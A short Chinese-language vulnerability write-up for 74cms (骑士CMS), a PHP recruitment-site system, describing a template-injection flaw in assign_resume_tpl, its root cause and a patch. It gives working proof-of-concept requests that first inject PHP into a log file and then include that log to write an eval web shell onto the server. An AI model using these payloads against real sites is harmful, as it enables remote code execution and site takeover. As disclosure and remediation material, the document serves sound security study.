下载好源码
php网站源码下载_php招聘网站源码_php网站模版_骑士cms人才系统
然后安装,安装好之后
发送poc:
http://127.0.0.1/74cms//index.php?m=home&a=assign_resume_tpl
POST: variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
看到它爆错了
根据报错查看日志:
路径为WWW\74cms\upload\data\Runtime\Logs\Home
文件包含
发送poc: http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
POST: variable=1&tpl=data/Runtime/Logs/Home/21_10_10.log(日志文件名为日期)
成功写下shell
漏洞原理
在文件/Application/Common/Controller/BaseController.class.php中,assign_resume_tpl方法中判断不严格,导致了模板注入漏洞。
修复方案
74cms\ThinkPHP\Library\Think\View.class.php
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
代码注释替换为
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));